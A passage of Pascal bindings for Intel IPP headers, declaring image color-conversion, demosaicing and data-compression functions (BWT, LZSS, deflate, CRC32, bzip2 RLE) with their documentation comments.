function ippiGammaInv_32f_IP3R( pSrcDst : Ipp32f_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaInv_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaInv_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiToneMapLinear_32f8u_C1R ippiToneMapMean_32f8u_C1R
Purpose: Convert HDRI into the LDRI. In the other words they map a dst Image into the range [0..255]
Input Arguments:
pSrc - pointer to the HDRI.
srcStep - step through the source image
Output Arguments:
pDst - pointer to the LDRI.
dstStep - step through the source image
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Notes:
ippiToneMapLinear_32f_C1RI - applies Linear Scale-Factor method to src image.
ippiToneMapMean_32f_C1RI - applies Mean Value method to src image.
}
function ippiToneMapLinear_32f8u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiToneMapMean_32f8u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiYCbCr420To411_8u_P3R ippiYCbCr420To411_8u_P3R ippiYCbCr1620To420_8u_P3R
Purpose: Converts an YCbCr420 to YCbCr411 image,
YCbCr411 to YCbCr420 image,
YCbCr420 to YCbCr1620 image,
YCbCr1620 to YCbCr420 image.
Input Arguments:
pSrc - pointer to the source image.
srcStep - step through the source image
roiSize - Size of the ROI
Output Arguments:
pDst - pointer to the destination image.
dstStep - step through the destination image
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
}
function ippiYCbCr420To411_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr411To420_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420To1620_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr1620To420_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiCFAToRGB_8u_C1C3R
ippiCFAToRGB_16u_C1C3R
Purpose: Bayer transform. Converts color filter array image to RGB image
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the pointers is NULL
ippStsBadArgErr Wrong value of grid
ippStsSizeErr The srcSize.width<2 or the srcSize.height<2 or
the roiSize has a field with negative or zero value
Parameters:
pSrc Pointers to the source image
srcRoi ROI in source image(top left corner and size)
srcSize Size of source image
srcStep Steps through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
grid Type of baeyers grid
interpolation Reserved, must be 0
}
type
IppiBayerGrid =
( ippiBayerBGGR,
ippiBayerRGGB,
ippiBayerGBRG,
ippiBayerGRBG);
function ippiCFAToRGB_8u_C1C3R( pSrc : Ipp8uPtr ; srcRoi : IppiRect ; srcSize : IppiSize ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; grid : IppiBayerGrid ; interpolation : Int32 ): IppStatus; _ippapi
function ippiCFAToRGB_16u_C1C3R( pSrc : Ipp16uPtr ; srcRoi : IppiRect ; srcSize : IppiSize ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; grid : IppiBayerGrid ; interpolation : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCbYCr422ToYCbCr420_Interlace_8u_C2P3R,
ippiYCbCr420ToCbYCr422_Interlace_8u_P3C2R
ippiYCbCr422To420_Interlace_8u_P3R
ippiYCbCr420To422_Interlace_8u_P3R
Purpose: Converts 2-channel interlaced UYVY, YUYV C2 and P3 images
to the P3 YUV420 image and vice versa
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize.width less than 2 or roiSize.height less than 4
ippStsDoubleSize roiSize.width is not multiples of 2 or
roiSize.height is not multiples of 4
Parameters:
pSrc Pointer(an array of pointers) to the source image
srcStep Step(an array of steps) through the source image
roiSize Size of the ROI, should be multiple of 2(width) and 4(height)
pDst Pointer(an array of pointers) to destination image.
dstStep Step(an array of steps) through the destination image
Notes:
UYVU422 to YUV420 uses following formulas,
Yd = Ys
U(V)d0 = (3*U(V)s0 + U(V)s2 + 2) / 4
U(V)d1 = ( U(V)s1 + 3 * U(V)s3 + 2) / 4,
where Us0(1), Us2(3) are interleaved adjacent lines
YUV420 to UYVU422 uses following formulas,
U(V)d0 = (5*U(V)s0 + 3*U(V)s2 + 4) / 8;
U(V)d1 = (7*U(V)s1 + U(V)s3 + 4) / 8;
U(V)d2 = ( U(V)s0 + 7*U(V)s2 + 4) / 8;
U(V)d3 = (3*U(V)s1 + 5*U(V)s3 + 4) / 8;
}
function ippiCbYCr422ToYCbCr420_Interlace_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr422To420_Interlace_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToCbYCr422_Interlace_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420To422_Interlace_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiDemosaicAHD_8u_C1C3R
ippiDemosaicAHD_16u_C1C3R
Purpose: Converts color filter array image to RGB image wih AHD algorithm.
Reference: K. Hirakawa, T.W. Parks, "Adaptive Homogeneity-Directed Demosaicing Algorithm, "
IEEE Trans. Image Processing, March 2005,
Link: http://www.accidentalmark.com/research/papers/Hirakawa05MNdemosaicTIP.pdf
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the pointers is NULL
ippStsBadArgErr Wrong value of grid
ippStsSizeErr The srcSize.width<5 or the srcSize.height<5 or
the roiSize has a field with negative or zero value
Parameters:
pSrc Pointers to the source image
srcRoi ROI in source image(top left corner and size)
srcSize Size of source image
srcStep Steps through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
grid Type of baeyers grid
pTmp Pointer to the temporary image of (srcRoi.width + 6, 30) size
tmpStep Steps through the temporary image
}
function ippiDemosaicAHD_8u_C1C3R( pSrc : Ipp8uPtr ; srcRoi : IppiRect ; srcSize : IppiSize ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; grid : IppiBayerGrid ; pTmp : Ipp8uPtr ; tmpStep : Int32 ): IppStatus; _ippapi
function ippiDemosaicAHD_16u_C1C3R( pSrc : Ipp16uPtr ; srcRoi : IppiRect ; srcSize : IppiSize ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; grid : IppiBayerGrid ; pTmp : Ipp16uPtr ; tmpStep : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name:
ippiRGBToYCoCg_8u_C3P3R
Purpose:
RGB to YCoCg color conversion
Parameter:
pSrc pointer to the input RGB data
srcStep line offset in input data
pDst pointer to pointers to the output YCoCg data.
dstStep line offset in output data
roiSize ROI size
Returns:
IppStatus
}
function ippiRGBToYCoCg_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name:
ippiYCoCgToRGB_8u_P3C3R
Purpose:
YCoCg to RGB color conversion
Parameter:
pSrc pointer to pointers to the input YCoCg data.
srcStep line offset in input data
pDst pointer to the output RGB data.
dstStep line offset in output data
roiSize ROI size
Returns:
IppStatus
}
function ippiYCoCgToRGB_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
{
Intel(R) Integrated Performance Primitives
Data Compression Library (ippDC)
}
{ ----------------------------------------------------------------------------
Functions declarations
{ ----------------------------------------------------------------------------
Name: ippdcGetLibVersion
Purpose: getting of the library version
Returns: the structure of information about version
of ippDC library
Parameters:
Notes: not necessary to release the returned structure
}
function ippdcGetLibVersion: IppLibraryVersionPtr; _ippapi
{ Move To Front }
{ ----------------------------------------------------------------------------
Name: ippsMTFInit_8u
Purpose: Initializes parameters for the MTF transform
Parameters:
pMTFState Pointer to the structure containing parameters for
the MTF transform
Return:
ippStsNullPtrErr Pointer to structure is NULL
ippStsNoErr No errors
}
function ippsMTFInit_8u( pMTFState : IppMTFState_8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsMTFGetSize_8u
Purpose: Computes the size of necessary memory (in bytes) for
structure of the MTF transform
Parameters:
pMTFStateSize Pointer to the computed size of structure
Return:
ippStsNullPtrErr Pointer is NULL
ippStsNoErr No errors
}
function ippsMTFGetSize_8u( pMTFStateSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsMTFFwd_8u
Purpose: Performs the forward MTF transform
Parameters:
pSrc Pointer to the source vector
pDst Pointer to the destination vector
len Length of source/destination vectors
pMTFState Pointer to the structure containing parameters for
the MTF transform
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Length of the source vector is less or equal zero
ippStsNoErr No errors
}
function ippsMTFFwd_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; pMTFState : IppMTFState_8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsMTFInv_8u
Purpose: Performs the inverse MTF transform
Parameters:
pSrc Pointer to the source vector
pDst Pointer to the destination vector
len Length of source/destination vectors
pMTFState Pointer to the structure containing parameters for
the MTF transform
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Length of the source vector is less or equal zero
ippStsNoErr No errors
}
function ippsMTFInv_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; pMTFState : IppMTFState_8uPtr ): IppStatus; _ippapi
{ Burrows - Wheeler Transform }
{ ----------------------------------------------------------------------------
Name: ippsBWTFwdGetSize_8u
Purpose: Computes the size of necessary memory (in bytes) for
additional buffer for the forward BWT transform
Parameters:
wndSize Window size for the BWT transform
pBWTFwdBuffSize Pointer to the computed size of buffer
Return:
ippStsNullPtrErr Pointer is NULL
ippStsNoErr No errors
}
{ not used }
function ippsBWTFwdGetSize_8u( wndSize : Int32 ; pBWTFwdBuffSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsBWTFwd_8u
Purpose: Performs the forward BWT transform
Parameters:
pSrc Pointer to the source vector
pDst Pointer to the destination vector
len Length of source/destination vectors
index Pointer to the index of first position for
the inverse BWT transform
pBWTFwdBuff Pointer to the additional buffer
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Length of source/destination vectors is less or equal zero
ippStsNoErr No errors
}
{ not used }
function ippsBWTFwd_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; index : Int32Ptr ; pBWTFwdBuff : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsBWTFwdGetBufSize_SelectSort_8u
Purpose: Computes the size of necessary memory (in bytes) for
additional buffer for the forward BWT transform
Parameters:
wndSize Window size for the BWT transform
pBWTFwdBufSize Pointer to the computed size of buffer
sortAlgorithmHint Strategy hint for Sort algorithm selection
Return:
ippStsNullPtrErr Pointer is NULL
ippStsNoErr No errors
}
function ippsBWTFwdGetBufSize_SelectSort_8u( wndSize : Ipp32u ; pBWTFwdBufSize : Ipp32uPtr ; sortAlgorithmHint : IppBWTSortAlgorithmHint ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsBWTFwd_SelectSort_8u
Purpose: Performs the forward BWT transform
Parameters:
pSrc Pointer to the source vector
pDst Pointer to the destination vector
len Length of source/destination vectors
index Pointer to the index of first position for
the inverse BWT transform
pBWTFwdBuf Pointer to the additional buffer
sortAlgorithmHint Strategy hint for Sort algorithm selection
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Length of source/destination vectors is less or equal zero
ippStsNoErr No errors
}
function ippsBWTFwd_SelectSort_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Ipp32u ; index : Ipp32uPtr ; pBWTFwdBuf : Ipp8uPtr ; sortAlgorithmHint : IppBWTSortAlgorithmHint ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsBWTInvGetSize_8u
Purpose: Computes the size of necessary memory (in bytes) for
additional buffer for the inverse BWT transform
Parameters:
wndSize Window size for the BWT transform
pBWTInvBuffSize Pointer to the computed size of buffer
Return:
ippStsNullPtrErr Pointer is NULL
ippStsNoErr No errors
}
{ not used }
function ippsBWTInvGetSize_8u( wndSize : Int32 ; pBWTInvBuffSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsBWTInv_8u
Purpose: Performs the inverse BWT transform
Parameters:
pSrc Pointer to the source vector
pDst Pointer to the destination vector
len Length of source/destination vectors
index Index of first position for the inverse BWT transform
pBWTInvBuff Pointer to the additional buffer
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Length of source/destination vectors is less or
equal zero or index greater or equal srcLen
ippStsNoErr No errors
}
{ not used }
function ippsBWTInv_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; index : Int32 ; pBWTInvBuff : Ipp8uPtr ): IppStatus; _ippapi
{ Ziv Lempel Storer Szymanski (LZSS) functions }
{ ----------------------------------------------------------------------------
Name: ippsLZSSGetSize_8u
Purpose: Finds out size of LZSS internal state structure in bytes
Parameters:
pLZSSStateSize Pointer to the size of LZSS internal encoding state
Return:
ippStsNullPtrErr Pointer to LZSSStateSize is NULL
ippStsNoErr No errors
}
function ippsLZSSGetSize_8u( pLZSSStateSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeLZSSInit_8u
Purpose: Initializes the LZSS internal state for encoding
Parameters:
pLZSSState Pointer to memory allocated for LZSS internal state
Return:
ippStsNullPtrErr Pointer to internal LZSS state structure is NULL
ippStsNoErr No errors
}
function ippsEncodeLZSSInit_8u( pLZSSState : IppLZSSState_8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeLZSS_8u
Purpose: Performs LZSS encoding
Parameters:
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of source vector
ppDst Double pointer to the destination vector
pDstLen Pointer to the length of destination vector
pLZSSState Pointer to LZSS internal state for encoding
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Bad length arguments
ippStsDstSizeLessExpected Destination buffer is full
ippStsNoErr No errors
}
function ippsEncodeLZSS_8u( ppSrc : Ipp8uPtrPtr ; pSrcLen : Int32Ptr ; ppDst : Ipp8uPtrPtr ; pDstLen : Int32Ptr ; pLZSSState : IppLZSSState_8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeLZSSFlush_8u
Purpose: Flushes the last few bits from the bit stream and alignes
output data on the byte boundary
Parameters:
ppDst Double pointer to the destination vector
pDstLen Pointer to the length of destination vector
pLZSSState Pointer to the LZSS internal state for encoding
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Bad length arguments
ippStsDstSizeLessExpected Destination buffer is full
ippStsNoErr No errors
}
function ippsEncodeLZSSFlush_8u( ppDst : Ipp8uPtrPtr ; pDstLen : Int32Ptr ; pLZSSState : IppLZSSState_8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeLZSSInit_8u
Purpose: Initializes the LZSS internal state for decoding
Parameters:
pLZSSState Pointer to memory allocated for LZSS internal state
Return:
ippStsNullPtrErr Pointer to internal LZSS state structure is NULL
ippStsNoErr No errors
}
function ippsDecodeLZSSInit_8u( pLZSSState : IppLZSSState_8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeLZSS_8u
Purpose: Performs LZSS decoding
Parameters:
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of source vector
ppDst Double pointer to the destination vector
pDstLen Pointer to the length of destination vector
pLZSSState Pointer to LZSS internal state
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Bad length arguments
ippStsDstSizeLessExpected Destination buffer is full
ippStsNoErr No errors
}
function ippsDecodeLZSS_8u( ppSrc : Ipp8uPtrPtr ; pSrcLen : Int32Ptr ; ppDst : Ipp8uPtrPtr ; pDstLen : Int32Ptr ; pLZSSState : IppLZSSState_8uPtr ): IppStatus; _ippapi
{ rfc1950, 1951, 1952 - compatible functions }
{ ----------------------------------------------------------------------------
Name: ippsAdler32
Purpose: Computes the adler32(ITUT V.42) checksum for the source vector.
Parameters:
pSrc Pointer to the source vector.
srcLen Length of the source vector.
pAdler32 Pointer to the checksum value.
Return:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when the pSrc pointer is NULL.
ippStsSizeErr Indicates an error when the length of the source vector is less
than or equal to zero.
}
function ippsAdler32_8u( pSrc : Ipp8uPtr ; srcLen : Int32 ; pAdler32 : Ipp32uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsCRC32
Purpose: Computes the CRC32(ITUT V.42) checksum for the source vector.
Parameters:
pSrc Pointer to the source vector.
srcLen Length of the source vector.
pCRC32 Pointer to the checksum value.
Return:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when the pSrc pointer is NULL.
ippStsSizeErr Indicates an error when the length of the source vector is less
than or equal to zero.
}
function ippsCRC32_8u( pSrc : Ipp8uPtr ; srcLen : Int32 ; pCRC32 : Ipp32uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsCRC32C
Purpose: Computes the CRC32C (the polinomial 0x11EDC6F41) value
for the source vector.
Reference: "Optimization of cyclic redundancy-check
codes with 24 and 32 parity bits". Castagnoli, G.;
Brauer, S.; Herrmann, M.; Communications,
IEEE Transactions on Volume 41, Issue 6,
June 1993 Page(s):883 - 892.
Parameters:
pSrc Pointer to the source vector
srcLen Length of the source vector
pCRC32C Pointer to the CRC32C value
Return:
ippStsNoErr No errors
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Length of the source vector is equal zero
}
function ippsCRC32C_8u( pSrc : Ipp8uPtr ; srcLen : Ipp32u ; pCRC32C : Ipp32uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsInflateBuildHuffTable
Purpose: Builds literal/length and distance Huffman code table for
decoding a block that was compressed with usage dynamic Huffman codes
according to the "deflate" format (rfc1951)
Parameters:
pCodeLens Pointer to the common array with literal/length and distance
Huffman code lengths
nLitCodeLens Number of literal/length Huffman code lengths
nDistCodeLens Number of distance Huffman code lengths
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr nLitCodeLens is greater than 286, or nLitCodeLens is greater than 30
(according to rfc1951)
ippStsSrcDataErr Invalid literal/length and distance set has been met
in the common lengths array
ippStsNoErr No errors
}
function ippsInflateBuildHuffTable( pCodeLens : Ipp16uPtr ; nLitCodeLens : Word32 ; nDistCodeLens : Word32 ; pIppInflateState : IppInflateStatePtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsInflate_8u
Purpose: Decodes of the "deflate" format (rfc1951)
according to the type of Huffman code tables
Parameters:
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of the source vector
pCode Pointer to the bit buffer
pCodeLenBits Number of valid bits in the bit buffer
winIdx Index of the sliding window start position
ppDst Double pointer to the destination vector
pDstLen Pointer to the length of the destination vector
dstIdx Index of the current position in the destination vector
pMode Pointer to the current decode mode
pIppInflateState Pointer to the structure that contains decode parameters
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr codeLenBits is greater than 32, or
winIdx is greater than pIppInflateState->winSize, or
dstIdx is greater than dstLen
ippStsSrcDataErr Invalid literal/length and distance set has been met
during decoding
ippStsNoErr No errors
}
function ippsInflate_8u( ppSrc : Ipp8uPtrPtr ; pSrcLen : Word32Ptr ; pCode : Ipp32uPtr ; pCodeLenBits : Word32Ptr ; winIdx : Word32 ; ppDst : Ipp8uPtrPtr ; pDstLen : Word32Ptr ; dstIdx : Word32 ; pMode : IppInflateModePtr ; pIppInflateState : IppInflateStatePtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDeflateLZ77_8u
Purpose: Perform LZ77 encoding according to
the compression level
Parameters:
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of the source vector
pSrcIdx Pointer to the index of the current position in
the source vector. This parameter is used by
the function for correlation current possition of
the source vector and indexes in the hash tables.
The normalization of this index and the hash tables
must only be done every 2GB of the source data
instead of 64K (the zlib approach)
pWindow Pointer to the sliding window, which is used as
the dictionary for LZ77 encoding
winSize Size of the window and the hash prev table
pHashHead Pointer to heads of the hash chains. This table is
initialized with (-winSize) value for correct processing
of the first bytes of the source vector
pHashPrev Pointer to links to older strings with the same
hash index
hashSize Size of the hash head table
pLitFreqTable Pointer to the literals/lengths frequency table
pDistFreqTable Pointer to the distances frequency table
pLitDst Pointer to the literals/lengths destination vector
pDistDst Pointer to the distances destination vector
pDstLen Pointer to the length of the destination vectors
comprLevel Compression level. It is like the zlib compression level
flush Flush value
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsNoErr No errors
}
function ippsDeflateLZ77_8u( ppSrc : Ipp8uPtrPtr ; pSrcLen : Ipp32uPtr ; pSrcIdx : Ipp32uPtr ; pWindow : Ipp8uPtr ; winSize : Ipp32u ; pHashHead : Ipp32sPtr ; pHashPrev : Ipp32sPtr ; hashSize : Ipp32u ; pLitFreqTable : IppDeflateFreqTable286Ptr ; pDistFreqTable : IppDeflateFreqTable30Ptr ; pLitDst : Ipp8uPtr ; pDistDst : Ipp16uPtr ; pDstLen : Ipp32uPtr ; comprLevel : Int32 ; flush : IppLZ77Flush ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDeflateHuff_8u
Purpose: Performs Huffman encoding
Parameters:
pLitSrc Pointer to the literals/lengths source vector
pDistSrc Pointer to the distances source vector
pSrcLen Pointer to the length of the source vectors
pCode Pointer to the bit buffer
pCodeLenBits Pointer to the number of valid bits in the bit buffer
pLitHuffCodes Pointer to the literals/lengths Huffman codes
pDistHuffCodes Pointer to the distances Huffman codes
pDst Pointer to the destination vector
pDstIdx Pointer to the index in the destination vector, the zlib
uses the knowingly sufficient intermediate buffer for
the Huffman encoding, so we need to know indexes of
the first (input parameter) and the last (output parameter)
symbols, which are written by the function
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsNoErr No errors
}
function ippsDeflateHuff_8u( pLitSrc : Ipp8uPtr ; pDistSrc : Ipp16uPtr ; srcLen : Ipp32u ; pCode : Ipp16uPtr ; pCodeLenBits : Ipp32uPtr ; pLitHuffCodes : IppDeflateHuffCode286Ptr ; pDistHuffCodes : IppDeflateHuffCode30Ptr; pDst : Ipp8uPtr ; pDstIdx : Ipp32uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDeflateDictionarySet_8u
Purpose: Presets the user`s dictionary for LZ77 encoding
Parameters:
pDictSrc Pointer to the user`s dictionary
dictLen Length of the user`s dictionary
pHashHeadDst Pointer to heads of the hash chains
hashSize Size of the hash head table
pHashPrevDst Pointer to links to older strings with the same
hash index
pWindowDst Pointer to the sliding window, which is used as
the dictionary for LZ77 encoding
winSize Size of the window and the hash prev table in elements
comprLevel Compression level. It is like the zlib compression level
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr wndSize less or equal 256 or more than 32768,
hashSize less or equal 256 or more than 65536
ippStsNoErr No errors
}
function ippsDeflateDictionarySet_8u( pDictSrc : Ipp8uPtr ; dictLen : Ipp32u ; pHashHeadDst : Ipp32sPtr ; hashSize : Ipp32u ; pHashPrevDst : Ipp32sPtr ; pWindowDst : Ipp8uPtr ; winSize : Ipp32u ; comprLevel : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDeflateUpdateHash_8u
Purpose: Updates hash tables according to the source context
Parameters:
pDictSrc Pointer to the source vector
srcIdx Index of the current position in the source vector.
This parameter is used by the function
for correlation current possition of the source vector
and indexes in the hash tables.
The normalization of this index and the hash tables
must only be done every 2GB of the source data
instead of 64K (the zlib approach)
srcLen Length of the source vector
pHashHeadDst Pointer to heads of the hash chains
hashSize Size of the hash head table
pHashPrevDst Pointer to links to older strings with the same
hash index
winSize Size of the window and the hash prev table in elements
comprLevel Compression level. It is like the zlib compression level
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr wndSize less or equal 256 or more than 32768,
hashSize less or equal 256 or more than 65536
ippStsNoErr No errors
}
function ippsDeflateUpdateHash_8u( pSrc : Ipp8uPtr ; srcIdx : Ipp32u ; srcLen : Ipp32u ; pHashHeadDst : Ipp32sPtr ; hashSize : Ipp32u ; pHashPrevDst : Ipp32sPtr ; winSize : Ipp32u ; comprLevel : Int32 ): IppStatus; _ippapi
{ bzip2 - compatible functions }
{ ----------------------------------------------------------------------------
Name: ippsRLEGetSize_BZ2_8u
Purpose: Calculates the size of internal state for bzip2-specific RLE.
Specific function for bzip2 compatibility.
Parameters:
pRLEStateSize Pointer to the size of internal state for bzip2-specific RLE
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsNoErr No errors
}
function ippsRLEGetSize_BZ2_8u( pRLEStateSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeRLEInit_BZ2_8u
Purpose: Initializes the elements of the bzip2-specific internal state for RLE.
Specific function for bzip2 compatibility.
Parameters:
pRLEState Pointer to internal state structure for bzip2 specific RLE
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsNoErr No errors
}
function ippsEncodeRLEInit_BZ2_8u( pRLEState : IppRLEState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeRLE_BZ2_8u
Purpose: Performs the RLE encoding with thresholding = 4.
Specific function for bzip2 compatibility.
Parameters:
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of source vector
pDst Pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output
pRLEState Pointer to internal state structure for bzip2 specific RLE
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsDstSizeLessExpected The size of destination vector less expected
ippStsNoErr No errors
}
function ippsEncodeRLE_BZ2_8u( ppSrc : Ipp8uPtrPtr ; pSrcLen : Int32Ptr ; pDst : Ipp8uPtr ; pDstLen : Int32Ptr ; pRLEState : IppRLEState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeRLEFlush_BZ2_8u
Purpose: Performs flushing the rest of data after RLE encoding with thresholding = 4.
Specific function for bzip2 compatibility.
Parameters:
pDst Pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output
pRLEState Pointer to internal state structure for bzip2 specific RLE
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsNoErr No errors
}
function ippsEncodeRLEFlush_BZ2_8u( pDst : Ipp8uPtr ; pDstLen : Int32Ptr ; pRLEState : IppRLEState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeRLEStateInit_BZ2_8u
Purpose: Initializes the elements of the bzip2-specific internal state for RLE.
Specific function for bzip2 compatibility.
Parameters:
pRLEState Pointer to internal state structure for bzip2 specific RLE
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsNoErr No errors
}
function ippsDecodeRLEStateInit_BZ2_8u( pRLEState : IppRLEState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeRLEState_BZ2_8u
Purpose: Performs the RLE decoding with thresholding = 4.
Specific function for bzip2 compatibility.
Parameters:
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of source vector
pDst Double pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output
pRLEState Pointer to internal state structure for bzip2 specific RLE
